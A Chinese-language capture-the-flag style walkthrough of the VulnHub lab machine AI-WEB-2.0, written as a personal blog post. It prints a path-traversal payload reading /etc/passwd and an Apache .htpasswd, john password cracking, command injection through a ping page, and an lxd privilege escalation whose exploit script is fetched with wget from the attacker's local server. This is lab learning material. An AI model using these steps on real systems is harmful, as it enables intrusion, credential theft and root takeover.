靶机AI-WEB-2.0

安装:

靶机地址: https://www.vulnhub.com/entry/ai-web-2,357/


信息收集

arp-scan -l

nmap -A 192.168.160.149

开放端口22和80,服务器是Apache

dirsearch -u "192.168.160.149:80"

打开是一个登录页面

告诉了我们作者是XuezhuLi

注册用户admin,然后登录

提示欢迎来到XuezhuLi的文件分享

/webadmin打开需要我们登录

其他没什么可利用的了,于是根据提示去找找XuezhuLi的文件分享

可以去github,漏洞分享网站,或者是再kali用searchsploit命令

都可以找到这样一个目录遍历漏洞

/download.php?file_name=../../../../../../../../../../../../../etc/passwd


漏洞攻击

用bp去试一下

确实存在这个漏洞

还可以看到有两个用户

因为服务器是apache

所以读取一下/etc/apache2/.htpasswd(apache用来验证用户身份的文件)

给了一个用户名和密码

但是密码被加密了

想办法解密

使用john工具

这是一款密码破解工具,在已知密文的情况下去尝试破解出明文,主要目的是破解不够牢固的unix、Linux系统密码

先去github上下载rockyou-45字典

下载地址:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt

放到kali里,然后在同一目录新建一个111.txt,把刚刚获得的密文放进去(账号密码都放进去)

john --wordlist=rockyou-45.txt 111.txt

得到了账号和密码

账号: aiweb2admin

密码: c.ronaldo (竟然是c罗)

试一下连ssh,发现连不上

想起刚刚有个需要密码的登录页面/webadmin

成功登录,提示robots(太熟悉了)

访问一下/webadmin/robots.txt

/S0mextras下提示我们这里有信息

但我们不知道文件命令,暂时利用不了这里

看看另外一个

/H05Tpin9555/下是一个ping页面

ping命令还是很熟悉的

简单测试下就发现可以用管道符|来执行命令

一开始发现不了什么,反弹shell也弹不了,应该是有过滤

但想起刚刚/S0mextras/下还有其他信息

于是在这里用find命令查一下

|| find . -type f /var/www/html/webadmin/S0mextras

可以看到有个/.sshUserCred55512.txt

访问

得到一个用户名和密码

ssh连接

ssh n0nr00tuser@192.168.160.149

连接成功

接下来就是提取了


lxd提权

可以看到刚刚试了下id命令发现有个特殊的lxd组,应该可以利用

从根目录查找具有root权限的二进制文件

find / -perm -u=s -type f 2>/dev/null

可以看到这里有lxc

所以就是利用lxc和lxd进行提取

LXC简介:

Linux 容器(Linux Containers,简称为 LXC)是一种操作系统级虚拟化技术,用于在单个 Linux 系统上运行多个独立的容器。每个容器都是一个轻量级的独立环境,拥有自己的文件系统、进程空间、网络空间等资源,但它们与宿主系统共享操作系统内核。这种共享使得容器比传统虚拟机更为轻量级和高效。

LXD简介:

Linux Daemon(LXD)是一个轻量级容器管理程序,LXD是基于LXC 容器技术Q实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了RESTAPI支持,更进一步地提升了用户体验度。

利用lxd生成一个最新的alpine镜像

先在kali上生成镜像压缩包

命令:

git clone https://github.com/saghul/lxd-alpine-builder.git
 
cd lxd-alpine-builder
 
./build-alpine

这样就建好了,可以ls看一下

不晓得为啥有两个,用3.20吧,感觉版本高点应该会好点

所以已经得到了alpine-v3.13-x86_64-20210218_0139.tar.gz

还需要一个脚本

可以用searchsploit linux 18.04查到(linux版本可以在靶机里用cat /etc/os-release命令看到)

可以看到有个’lxd’权限提升的46978.sh脚本

把它复制到/var/www/html下(为了待会方便下载到靶机里)

cp /usr/share/exploitdb/exploits/linux/local/46978.sh /var/www/html

searchsploit查出来的文件一般都在/usr/share/exploitdb/exploits+所给路径

还有把刚刚得到的alpine-v3.13-x86_64-20210218_0139.tar.gz也复制到/var/www/html里

然后在/var/www/html下开一个临时http服务器,用于给靶机下载文件

python3 -m http.server 8848

在靶机里下载刚刚的那两个文件

wget http://192.168.160.133:8848/alpine-v3.20-x86_64-20240727_1625.tar.gz

wget http://192.168.160.133:8848/46978.sh

提升一下这两个文件的权限

chmod 777 46978.sh

chmod 777 alpine-v3.20-x86_64-20240727_1625.tar.gz

接下来就是执行脚本提取了

./46978.sh -f alpine-v3.20-x86_64-20240727_1625.tar.gz

看一下id

应该是root

接下来就是查找flag位置然后读取

find / -name flag*

cat /mnt/root/root/flag.txt

到这就打完了

总结:

对于这个lxd提权还是没有完全搞懂,其他地方都差不多了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇